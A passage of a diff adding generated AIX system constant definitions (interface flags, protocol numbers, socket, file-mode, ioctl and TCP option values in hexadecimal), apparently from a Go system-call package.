-+ ICMP6_SEC_SEND_GET = 0x47
-+ ICMP6_SEC_SEND_SET = 0x44
-+ ICMP6_SEC_SEND_SET_CGA_ADDR = 0x45
-+ ICRNL = 0x100
-+ IEXTEN = 0x200000
-+ IFA_FIRSTALIAS = 0x2000
-+ IFA_ROUTE = 0x1
-+ IFF_64BIT = 0x4000000
-+ IFF_ALLCAST = 0x20000
-+ IFF_ALLMULTI = 0x200
-+ IFF_BPF = 0x8000000
-+ IFF_BRIDGE = 0x40000
-+ IFF_BROADCAST = 0x2
-+ IFF_CANTCHANGE = 0x80c52
-+ IFF_CHECKSUM_OFFLOAD = 0x10000000
-+ IFF_D1 = 0x8000
-+ IFF_D2 = 0x4000
-+ IFF_D3 = 0x2000
-+ IFF_D4 = 0x1000
-+ IFF_DEBUG = 0x4
-+ IFF_DEVHEALTH = 0x4000
-+ IFF_DO_HW_LOOPBACK = 0x10000
-+ IFF_GROUP_ROUTING = 0x2000000
-+ IFF_IFBUFMGT = 0x800000
-+ IFF_LINK0 = 0x100000
-+ IFF_LINK1 = 0x200000
-+ IFF_LINK2 = 0x400000
-+ IFF_LOOPBACK = 0x8
-+ IFF_MULTICAST = 0x80000
-+ IFF_NOARP = 0x80
-+ IFF_NOECHO = 0x800
-+ IFF_NOTRAILERS = 0x20
-+ IFF_OACTIVE = 0x400
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PROMISC = 0x100
-+ IFF_PSEG = 0x40000000
-+ IFF_RUNNING = 0x40
-+ IFF_SIMPLEX = 0x800
-+ IFF_SNAP = 0x8000
-+ IFF_TCP_DISABLE_CKSUM = 0x20000000
-+ IFF_TCP_NOCKSUM = 0x1000000
-+ IFF_UP = 0x1
-+ IFF_VIPA = 0x80000000
-+ IFNAMSIZ = 0x10
-+ IFO_FLUSH = 0x1
-+ IFT_1822 = 0x2
-+ IFT_AAL5 = 0x31
-+ IFT_ARCNET = 0x23
-+ IFT_ARCNETPLUS = 0x24
-+ IFT_ATM = 0x25
-+ IFT_CEPT = 0x13
-+ IFT_CLUSTER = 0x3e
-+ IFT_DS3 = 0x1e
-+ IFT_EON = 0x19
-+ IFT_ETHER = 0x6
-+ IFT_FCS = 0x3a
-+ IFT_FDDI = 0xf
-+ IFT_FRELAY = 0x20
-+ IFT_FRELAYDCE = 0x2c
-+ IFT_GIFTUNNEL = 0x3c
-+ IFT_HDH1822 = 0x3
-+ IFT_HF = 0x3d
-+ IFT_HIPPI = 0x2f
-+ IFT_HSSI = 0x2e
-+ IFT_HY = 0xe
-+ IFT_IB = 0xc7
-+ IFT_ISDNBASIC = 0x14
-+ IFT_ISDNPRIMARY = 0x15
-+ IFT_ISO88022LLC = 0x29
-+ IFT_ISO88023 = 0x7
-+ IFT_ISO88024 = 0x8
-+ IFT_ISO88025 = 0x9
-+ IFT_ISO88026 = 0xa
-+ IFT_LAPB = 0x10
-+ IFT_LOCALTALK = 0x2a
-+ IFT_LOOP = 0x18
-+ IFT_MIOX25 = 0x26
-+ IFT_MODEM = 0x30
-+ IFT_NSIP = 0x1b
-+ IFT_OTHER = 0x1
-+ IFT_P10 = 0xc
-+ IFT_P80 = 0xd
-+ IFT_PARA = 0x22
-+ IFT_PPP = 0x17
-+ IFT_PROPMUX = 0x36
-+ IFT_PROPVIRTUAL = 0x35
-+ IFT_PTPSERIAL = 0x16
-+ IFT_RS232 = 0x21
-+ IFT_SDLC = 0x11
-+ IFT_SIP = 0x1f
-+ IFT_SLIP = 0x1c
-+ IFT_SMDSDXI = 0x2b
-+ IFT_SMDSICIP = 0x34
-+ IFT_SN = 0x38
-+ IFT_SONET = 0x27
-+ IFT_SONETPATH = 0x32
-+ IFT_SONETVT = 0x33
-+ IFT_SP = 0x39
-+ IFT_STARLAN = 0xb
-+ IFT_T1 = 0x12
-+ IFT_TUNNEL = 0x3b
-+ IFT_ULTRA = 0x1d
-+ IFT_V35 = 0x2d
-+ IFT_VIPA = 0x37
-+ IFT_X25 = 0x5
-+ IFT_X25DDN = 0x4
-+ IFT_X25PLE = 0x28
-+ IFT_XETHER = 0x1a
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x10000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLASSD_HOST = 0xfffffff
-+ IN_CLASSD_NET = 0xf0000000
-+ IN_CLASSD_NSHIFT = 0x1c
-+ IN_LOOPBACKNET = 0x7f
-+ IN_USE = 0x1
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BIP = 0x53
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_EON = 0x50
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GGP = 0x3
-+ IPPROTO_GIF = 0x8c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_LOCAL = 0x3f
-+ IPPROTO_MAX = 0x100
-+ IPPROTO_MH = 0x87
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_QOS = 0x2d
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPV6_ADDRFORM = 0x16
-+ IPV6_ADDR_PREFERENCES = 0x4a
-+ IPV6_ADD_MEMBERSHIP = 0xc
-+ IPV6_AIXRAWSOCKET = 0x39
-+ IPV6_CHECKSUM = 0x27
-+ IPV6_DONTFRAG = 0x2d
-+ IPV6_DROP_MEMBERSHIP = 0xd
-+ IPV6_DSTOPTS = 0x36
-+ IPV6_FLOWINFO_FLOWLABEL = 0xffffff
-+ IPV6_FLOWINFO_PRIFLOW = 0xfffffff
-+ IPV6_FLOWINFO_PRIORITY = 0xf000000
-+ IPV6_FLOWINFO_SRFLAG = 0x10000000
-+ IPV6_FLOWINFO_VERSION = 0xf0000000
-+ IPV6_HOPLIMIT = 0x28
-+ IPV6_HOPOPTS = 0x34
-+ IPV6_JOIN_GROUP = 0xc
-+ IPV6_LEAVE_GROUP = 0xd
-+ IPV6_MIPDSTOPTS = 0x36
-+ IPV6_MULTICAST_HOPS = 0xa
-+ IPV6_MULTICAST_IF = 0x9
-+ IPV6_MULTICAST_LOOP = 0xb
-+ IPV6_NEXTHOP = 0x30
-+ IPV6_NOPROBE = 0x1c
-+ IPV6_PATHMTU = 0x2e
-+ IPV6_PKTINFO = 0x21
-+ IPV6_PKTOPTIONS = 0x24
-+ IPV6_PRIORITY_10 = 0xa000000
-+ IPV6_PRIORITY_11 = 0xb000000
-+ IPV6_PRIORITY_12 = 0xc000000
-+ IPV6_PRIORITY_13 = 0xd000000
-+ IPV6_PRIORITY_14 = 0xe000000
-+ IPV6_PRIORITY_15 = 0xf000000
-+ IPV6_PRIORITY_8 = 0x8000000
-+ IPV6_PRIORITY_9 = 0x9000000
-+ IPV6_PRIORITY_BULK = 0x4000000
-+ IPV6_PRIORITY_CONTROL = 0x7000000
-+ IPV6_PRIORITY_FILLER = 0x1000000
-+ IPV6_PRIORITY_INTERACTIVE = 0x6000000
-+ IPV6_PRIORITY_RESERVED1 = 0x3000000
-+ IPV6_PRIORITY_RESERVED2 = 0x5000000
-+ IPV6_PRIORITY_UNATTENDED = 0x2000000
-+ IPV6_PRIORITY_UNCHARACTERIZED = 0x0
-+ IPV6_RECVDSTOPTS = 0x38
-+ IPV6_RECVHOPLIMIT = 0x29
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVHOPS = 0x22
-+ IPV6_RECVIF = 0x1e
-+ IPV6_RECVPATHMTU = 0x2f
-+ IPV6_RECVPKTINFO = 0x23
-+ IPV6_RECVRTHDR = 0x33
-+ IPV6_RECVSRCRT = 0x1d
-+ IPV6_RECVTCLASS = 0x2a
-+ IPV6_RTHDR = 0x32
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RTHDR_TYPE_2 = 0x2
-+ IPV6_SENDIF = 0x1f
-+ IPV6_SRFLAG_LOOSE = 0x0
-+ IPV6_SRFLAG_STRICT = 0x10000000
-+ IPV6_TCLASS = 0x2b
-+ IPV6_TOKEN_LENGTH = 0x40
-+ IPV6_UNICAST_HOPS = 0x4
-+ IPV6_USE_MIN_MTU = 0x2c
-+ IPV6_V6ONLY = 0x25
-+ IPV6_VERSION = 0x60000000
-+ IP_ADDRFORM = 0x16
-+ IP_ADD_MEMBERSHIP = 0xc
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x3c
-+ IP_BLOCK_SOURCE = 0x3a
-+ IP_BROADCAST_IF = 0x10
-+ IP_CACHE_LINE_SIZE = 0x80
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DHCPMODE = 0x11
-+ IP_DONTFRAG = 0x19
-+ IP_DROP_MEMBERSHIP = 0xd
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x3d
-+ IP_FINDPMTU = 0x1a
-+ IP_HDRINCL = 0x2
-+ IP_INC_MEMBERSHIPS = 0x14
-+ IP_INIT_MEMBERSHIP = 0x14
-+ IP_MAXPACKET = 0xffff
-+ IP_MF = 0x2000
-+ IP_MSS = 0x240
-+ IP_MULTICAST_HOPS = 0xa
-+ IP_MULTICAST_IF = 0x9
-+ IP_MULTICAST_LOOP = 0xb
-+ IP_MULTICAST_TTL = 0xa
-+ IP_OPT = 0x1b
-+ IP_OPTIONS = 0x1
-+ IP_PMTUAGE = 0x1b
-+ IP_RECVDSTADDR = 0x7
-+ IP_RECVIF = 0x14
-+ IP_RECVIFINFO = 0xf
-+ IP_RECVINTERFACE = 0x20
-+ IP_RECVMACHDR = 0xe
-+ IP_RECVOPTS = 0x5
-+ IP_RECVRETOPTS = 0x6
-+ IP_RECVTTL = 0x22
-+ IP_RETOPTS = 0x8
-+ IP_SOURCE_FILTER = 0x48
-+ IP_TOS = 0x3
-+ IP_TTL = 0x4
-+ IP_UNBLOCK_SOURCE = 0x3b
-+ IP_UNICAST_HOPS = 0x4
-+ ISIG = 0x1
-+ ISTRIP = 0x20
-+ IUCLC = 0x800
-+ IXANY = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ I_FLUSH = 0x20005305
-+ LNOFLSH = 0x8000
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ MADV_DONTNEED = 0x4
-+ MADV_NORMAL = 0x0
-+ MADV_RANDOM = 0x1
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_SPACEAVAIL = 0x5
-+ MADV_WILLNEED = 0x3
-+ MAP_ANON = 0x10
-+ MAP_ANONYMOUS = 0x10
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x100
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_TYPE = 0xf0
-+ MAP_VARIABLE = 0x0
-+ MCAST_BLOCK_SOURCE = 0x40
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x3e
-+ MCAST_JOIN_SOURCE_GROUP = 0x42
-+ MCAST_LEAVE_GROUP = 0x3f
-+ MCAST_LEAVE_SOURCE_GROUP = 0x43
-+ MCAST_SOURCE_FILTER = 0x49
-+ MCAST_UNBLOCK_SOURCE = 0x41
-+ MCL_CURRENT = 0x100
-+ MCL_FUTURE = 0x200
-+ MSG_ANY = 0x4
-+ MSG_ARGEXT = 0x400
-+ MSG_BAND = 0x2
-+ MSG_COMPAT = 0x8000
-+ MSG_CTRUNC = 0x20
-+ MSG_DONTROUTE = 0x4
-+ MSG_EOR = 0x8
-+ MSG_HIPRI = 0x1
-+ MSG_MAXIOVLEN = 0x10
-+ MSG_MPEG2 = 0x80
-+ MSG_NONBLOCK = 0x4000
-+ MSG_NOSIGNAL = 0x100
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_TRUNC = 0x10
-+ MSG_WAITALL = 0x40
-+ MSG_WAITFORONE = 0x200
-+ MS_ASYNC = 0x10
-+ MS_EINTR = 0x80
-+ MS_INVALIDATE = 0x40
-+ MS_PER_SEC = 0x3e8
-+ MS_SYNC = 0x20
-+ NFDBITS = 0x20
-+ NL0 = 0x0
-+ NL1 = 0x4000
-+ NL2 = 0x8000
-+ NL3 = 0xc000
-+ NLDLY = 0x4000
-+ NOFLSH = 0x80
-+ NOFLUSH = 0x80000000
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ ONOEOT = 0x80000
-+ OPOST = 0x1
-+ OXTABS = 0x40000
-+ O_ACCMODE = 0x23
-+ O_APPEND = 0x8
-+ O_CIO = 0x80
-+ O_CIOR = 0x800000000
-+ O_CLOEXEC = 0x800000
-+ O_CREAT = 0x100
-+ O_DEFER = 0x2000
-+ O_DELAY = 0x4000
-+ O_DIRECT = 0x8000000
-+ O_DIRECTORY = 0x80000
-+ O_DSYNC = 0x400000
-+ O_EFSOFF = 0x400000000
-+ O_EFSON = 0x200000000
-+ O_EXCL = 0x400
-+ O_EXEC = 0x20
-+ O_LARGEFILE = 0x4000000
-+ O_NDELAY = 0x8000
-+ O_NOCACHE = 0x100000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x1000000
-+ O_NONBLOCK = 0x4
-+ O_NONE = 0x3
-+ O_NSHARE = 0x10000
-+ O_RAW = 0x100000000
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_RSHARE = 0x1000
-+ O_RSYNC = 0x200000
-+ O_SEARCH = 0x20
-+ O_SNAPSHOT = 0x40
-+ O_SYNC = 0x10
-+ O_TRUNC = 0x200
-+ O_TTY_INIT = 0x0
-+ O_WRONLY = 0x1
-+ PARENB = 0x100
-+ PAREXT = 0x100000
-+ PARMRK = 0x8
-+ PARODD = 0x200
-+ PENDIN = 0x20000000
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROT_EXEC = 0x4
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_64BIT = 0x20
-+ PR_ADDR = 0x2
-+ PR_ARGEXT = 0x400
-+ PR_ATOMIC = 0x1
-+ PR_CONNREQUIRED = 0x4
-+ PR_FASTHZ = 0x5
-+ PR_INP = 0x40
-+ PR_INTRLEVEL = 0x8000
-+ PR_MLS = 0x100
-+ PR_MLS_1_LABEL = 0x200
-+ PR_NOEOR = 0x4000
-+ PR_RIGHTS = 0x10
-+ PR_SLOWHZ = 0x2
-+ PR_WANTRCVD = 0x8
-+ RLIMIT_AS = 0x6
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x9
-+ RLIMIT_RSS = 0x5
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0x7fffffff
-+ RTAX_AUTHOR = 0x6
-+ RTAX_BRD = 0x7
-+ RTAX_DST = 0x0
-+ RTAX_GATEWAY = 0x1
-+ RTAX_GENMASK = 0x3
-+ RTAX_IFA = 0x5
-+ RTAX_IFP = 0x4
-+ RTAX_MAX = 0x8
-+ RTAX_NETMASK = 0x2
-+ RTA_AUTHOR = 0x40
-+ RTA_BRD = 0x80
-+ RTA_DOWNSTREAM = 0x100
-+ RTA_DST = 0x1
-+ RTA_GATEWAY = 0x2
-+ RTA_GENMASK = 0x8
-+ RTA_IFA = 0x20
-+ RTA_IFP = 0x10
-+ RTA_NETMASK = 0x4
-+ RTC_IA64 = 0x3
-+ RTC_POWER = 0x1
-+ RTC_POWER_PC = 0x2
-+ RTF_ACTIVE_DGD = 0x1000000
-+ RTF_BCE = 0x80000
-+ RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_BUL = 0x2000
-+ RTF_CLONE = 0x10000
-+ RTF_CLONED = 0x20000
-+ RTF_CLONING = 0x100
-+ RTF_DONE = 0x40
-+ RTF_DYNAMIC = 0x10
-+ RTF_FREE_IN_PROG = 0x4000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_LLINFO = 0x400
-+ RTF_LOCAL = 0x200000
-+ RTF_MASK = 0x80
-+ RTF_MODIFIED = 0x20
-+ RTF_MULTICAST = 0x800000
-+ RTF_PERMANENT6 = 0x8000000
-+ RTF_PINNED = 0x100000
-+ RTF_PROTO1 = 0x8000
-+ RTF_PROTO2 = 0x4000
-+ RTF_PROTO3 = 0x40000
-+ RTF_REJECT = 0x8
-+ RTF_SMALLMTU = 0x40000
-+ RTF_STATIC = 0x800
-+ RTF_STOPSRCH = 0x2000000
-+ RTF_UNREACHABLE = 0x10000000
-+ RTF_UP = 0x1
-+ RTF_XRESOLVE = 0x200
-+ RTM_ADD = 0x1
-+ RTM_CHANGE = 0x3
-+ RTM_DELADDR = 0xd
-+ RTM_DELETE = 0x2
-+ RTM_EXPIRE = 0xf
-+ RTM_GET = 0x4
-+ RTM_GETNEXT = 0x11
-+ RTM_IFINFO = 0xe
-+ RTM_LOCK = 0x8
-+ RTM_LOSING = 0x5
-+ RTM_MISS = 0x7
-+ RTM_NEWADDR = 0xc
-+ RTM_OLDADD = 0x9
-+ RTM_OLDDEL = 0xa
-+ RTM_REDIRECT = 0x6
-+ RTM_RESOLVE = 0xb
-+ RTM_RTLOST = 0x10
-+ RTM_RTTUNIT = 0xf4240
-+ RTM_SAMEADDR = 0x12
-+ RTM_SET = 0x13
-+ RTM_VERSION = 0x2
-+ RTM_VERSION_GR = 0x4
-+ RTM_VERSION_GR_COMPAT = 0x3
-+ RTM_VERSION_POLICY = 0x5
-+ RTM_VERSION_POLICY_EXT = 0x6
-+ RTM_VERSION_POLICY_PRFN = 0x7
-+ RTV_EXPIRE = 0x4
-+ RTV_HOPCOUNT = 0x2
-+ RTV_MTU = 0x1
-+ RTV_RPIPE = 0x8
-+ RTV_RTT = 0x40
-+ RTV_RTTVAR = 0x80
-+ RTV_SPIPE = 0x10
-+ RTV_SSTHRESH = 0x20
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ SCM_RIGHTS = 0x1
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIGMAX64 = 0xff
-+ SIGQUEUE_MAX = 0x20
-+ SIOCADDIFVIPA = 0x20006942
-+ SIOCADDMTU = -0x7ffb9690
-+ SIOCADDMULTI = -0x7fdf96cf
-+ SIOCADDNETID = -0x7fd796a9
-+ SIOCADDRT = -0x7fcf8df6
-+ SIOCAIFADDR = -0x7fbf96e6
-+ SIOCATMARK = 0x40047307
-+ SIOCDARP = -0x7fb396e0
-+ SIOCDELIFVIPA = 0x20006943
-+ SIOCDELMTU = -0x7ffb968f
-+ SIOCDELMULTI = -0x7fdf96ce
-+ SIOCDELPMTU = -0x7fd78ff6
-+ SIOCDELRT = -0x7fcf8df5
-+ SIOCDIFADDR = -0x7fd796e7
-+ SIOCDNETOPT = -0x3ffe9680
-+ SIOCDX25XLATE = -0x7fd7969b
-+ SIOCFIFADDR = -0x7fdf966d
-+ SIOCGARP = -0x3fb396da
-+ SIOCGETMTUS = 0x2000696f
-+ SIOCGETSGCNT = -0x3feb8acc
-+ SIOCGETVIFCNT = -0x3feb8acd
-+ SIOCGHIWAT = 0x40047301
-+ SIOCGIFADDR = -0x3fd796df
-+ SIOCGIFADDRS = 0x2000698c
-+ SIOCGIFBAUDRATE = -0x3fdf9669
-+ SIOCGIFBRDADDR = -0x3fd796dd
-+ SIOCGIFCONF = -0x3ff796bb
-+ SIOCGIFCONFGLOB = -0x3ff79670
-+ SIOCGIFDSTADDR = -0x3fd796de
-+ SIOCGIFFLAGS = -0x3fd796ef
-+ SIOCGIFGIDLIST = 0x20006968
-+ SIOCGIFHWADDR = -0x3fab966b
-+ SIOCGIFMETRIC = -0x3fd796e9
-+ SIOCGIFMTU = -0x3fd796aa
-+ SIOCGIFNETMASK = -0x3fd796db
-+ SIOCGIFOPTIONS = -0x3fd796d6
-+ SIOCGISNO = -0x3fd79695
-+ SIOCGLOADF = -0x3ffb967e
-+ SIOCGLOWAT = 0x40047303
-+ SIOCGNETOPT = -0x3ffe96a5
-+ SIOCGNETOPT1 = -0x3fdf967f
-+ SIOCGNMTUS = 0x2000696e
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSIZIFCONF = 0x4004696a
-+ SIOCGSRCFILTER = -0x3fe796cb
-+ SIOCGTUNEPHASE = -0x3ffb9676
-+ SIOCGX25XLATE = -0x3fd7969c
-+ SIOCIFATTACH = -0x7fdf9699
-+ SIOCIFDETACH = -0x7fdf969a
-+ SIOCIFGETPKEY = -0x7fdf969b
-+ SIOCIF_ATM_DARP = -0x7fdf9683
-+ SIOCIF_ATM_DUMPARP = -0x7fdf9685
-+ SIOCIF_ATM_GARP = -0x7fdf9682
-+ SIOCIF_ATM_IDLE = -0x7fdf9686
-+ SIOCIF_ATM_SARP = -0x7fdf9681
-+ SIOCIF_ATM_SNMPARP = -0x7fdf9687
-+ SIOCIF_ATM_SVC = -0x7fdf9684
-+ SIOCIF_ATM_UBR = -0x7fdf9688
-+ SIOCIF_DEVHEALTH = -0x7ffb966c
-+ SIOCIF_IB_ARP_INCOMP = -0x7fdf9677
-+ SIOCIF_IB_ARP_TIMER = -0x7fdf9678
-+ SIOCIF_IB_CLEAR_PINFO = -0x3fdf966f
-+ SIOCIF_IB_DEL_ARP = -0x7fdf967f
-+ SIOCIF_IB_DEL_PINFO = -0x3fdf9670
-+ SIOCIF_IB_DUMP_ARP = -0x7fdf9680
-+ SIOCIF_IB_GET_ARP = -0x7fdf967e
-+ SIOCIF_IB_GET_INFO = -0x3f879675
-+ SIOCIF_IB_GET_STATS = -0x3f879672
-+ SIOCIF_IB_NOTIFY_ADDR_REM = -0x3f87966a
-+ SIOCIF_IB_RESET_STATS = -0x3f879671
-+ SIOCIF_IB_RESIZE_CQ = -0x7fdf9679
-+ SIOCIF_IB_SET_ARP = -0x7fdf967d
-+ SIOCIF_IB_SET_PKEY = -0x7fdf967c
-+ SIOCIF_IB_SET_PORT = -0x7fdf967b
-+ SIOCIF_IB_SET_QKEY = -0x7fdf9676
-+ SIOCIF_IB_SET_QSIZE = -0x7fdf967a
-+ SIOCLISTIFVIPA = 0x20006944
-+ SIOCSARP = -0x7fb396e2
-+ SIOCSHIWAT = 0x80047300
-+ SIOCSIFADDR = -0x7fd796f4
-+ SIOCSIFADDRORI = -0x7fdb9673
-+ SIOCSIFBRDADDR = -0x7fd796ed
-+ SIOCSIFDSTADDR = -0x7fd796f2
-+ SIOCSIFFLAGS = -0x7fd796f0
-+ SIOCSIFGIDLIST = 0x20006969
-+ SIOCSIFMETRIC = -0x7fd796e8
-+ SIOCSIFMTU = -0x7fd796a8
-+ SIOCSIFNETDUMP = -0x7fd796e4
-+ SIOCSIFNETMASK = -0x7fd796ea
-+ SIOCSIFOPTIONS = -0x7fd796d7
-+ SIOCSIFSUBCHAN = -0x7fd796e5
-+ SIOCSISNO = -0x7fd79694
-+ SIOCSLOADF = -0x3ffb967d
-+ SIOCSLOWAT = 0x80047302
-+ SIOCSNETOPT = -0x7ffe96a6
-+ SIOCSPGRP = 0x80047308
-+ SIOCSX25XLATE = -0x7fd7969d
-+ SOCK_CONN_DGRAM = 0x6
-+ SOCK_DGRAM = 0x2
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0xffff
-+ SOMAXCONN = 0x400
-+ SO_ACCEPTCONN = 0x2
-+ SO_AUDIT = 0x8000
-+ SO_BROADCAST = 0x20
-+ SO_CKSUMRECV = 0x800
-+ SO_DEBUG = 0x1
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_KEEPALIVE = 0x8
-+ SO_KERNACCEPT = 0x2000
-+ SO_LINGER = 0x80
-+ SO_NOMULTIPATH = 0x4000
-+ SO_NOREUSEADDR = 0x1000
-+ SO_OOBINLINE = 0x100
-+ SO_PEERID = 0x1009
-+ SO_RCVBUF = 0x1002
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_SNDBUF = 0x1001
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_TIMESTAMPNS = 0x100a
-+ SO_TYPE = 0x1008
-+ SO_USELOOPBACK = 0x40
-+ SO_USE_IFBUFS = 0x400
-+ S_BANDURG = 0x400
-+ S_EMODFMT = 0x3c000000
-+ S_ENFMT = 0x400
-+ S_ERROR = 0x100
-+ S_HANGUP = 0x200
-+ S_HIPRI = 0x2
-+ S_ICRYPTO = 0x80000
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFJOURNAL = 0x10000
-+ S_IFLNK = 0xa000
-+ S_IFMPX = 0x2200
-+ S_IFMT = 0xf000
-+ S_IFPDIR = 0x4000000
-+ S_IFPSDIR = 0x8000000
-+ S_IFPSSDIR = 0xc000000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFSYSEA = 0x30000000
-+ S_INPUT = 0x1
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_ITCB = 0x1000000
-+ S_ITP = 0x800000
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXACL = 0x2000000
-+ S_IXATTR = 0x40000
-+ S_IXGRP = 0x8
-+ S_IXINTERFACE = 0x100000
-+ S_IXMOD = 0x40000000
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ S_MSG = 0x8
-+ S_OUTPUT = 0x4
-+ S_RDBAND = 0x20
-+ S_RDNORM = 0x10
-+ S_RESERVED1 = 0x20000
-+ S_RESERVED2 = 0x200000
-+ S_RESERVED3 = 0x400000
-+ S_RESERVED4 = 0x80000000
-+ S_RESFMT1 = 0x10000000
-+ S_RESFMT10 = 0x34000000
-+ S_RESFMT11 = 0x38000000
-+ S_RESFMT12 = 0x3c000000
-+ S_RESFMT2 = 0x14000000
-+ S_RESFMT3 = 0x18000000
-+ S_RESFMT4 = 0x1c000000
-+ S_RESFMT5 = 0x20000000
-+ S_RESFMT6 = 0x24000000
-+ S_RESFMT7 = 0x28000000
-+ S_RESFMT8 = 0x2c000000
-+ S_WRBAND = 0x80
-+ S_WRNORM = 0x40
-+ TAB0 = 0x0
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x540c
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_24DAYS_WORTH_OF_SLOWTICKS = 0x3f4800
-+ TCP_ACLADD = 0x23
-+ TCP_ACLBIND = 0x26
-+ TCP_ACLCLEAR = 0x22
-+ TCP_ACLDEL = 0x24
-+ TCP_ACLDENY = 0x8
-+ TCP_ACLFLUSH = 0x21
-+ TCP_ACLGID = 0x1
-+ TCP_ACLLS = 0x25
-+ TCP_ACLSUBNET = 0x4
-+ TCP_ACLUID = 0x2
-+ TCP_CWND_DF = 0x16
-+ TCP_CWND_IF = 0x15
-+ TCP_DELAY_ACK_FIN = 0x2
-+ TCP_DELAY_ACK_SYN = 0x1
-+ TCP_FASTNAME = 0x101080a
-+ TCP_KEEPCNT = 0x13
-+ TCP_KEEPIDLE = 0x11
-+ TCP_KEEPINTVL = 0x12
-+ TCP_LSPRIV = 0x29
-+ TCP_LUID = 0x20
-+ TCP_MAXBURST = 0x8
-+ TCP_MAXDF = 0x64
-+ TCP_MAXIF = 0x64
